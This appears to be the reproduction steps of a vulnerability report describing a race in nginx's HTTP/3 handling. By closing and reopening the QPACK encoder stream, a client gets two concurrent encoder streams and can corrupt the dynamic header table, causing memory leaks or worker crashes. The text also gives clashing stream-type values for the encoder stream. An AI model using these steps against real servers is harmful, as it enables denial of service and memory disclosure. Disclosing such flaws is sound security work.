1. Client opens a QUIC connection to nginx and creates the three mandatory unidirectional streams (control=0x02, encoder=0x06, decoder=0x0a). 2. Client sends a FIN on the encoder stream (stream type 0x02), causing nginx to set h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER] = NULL in ngx_http_v3_close_uni_stream(). 3. In the same event-loop tick (before nginx processes the closure further), client opens a new QUIC unidirectional stream and sends stream-type byte 0x02 (encoder stream) again. 4. nginx evaluates `if (h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER])` → NULL → false, so it registers the new stream and reuses/reinitialises the QPACK encoder insert buffer shared state. 5. The attacker now controls two concurrent encoder streams; by sending crafted QPACK encoder instructions on both, they can corrupt the dynamic header table state, potentially causing out-of-bounds reads/writes in subsequent header decompression and leaking memory or crashing the worker process.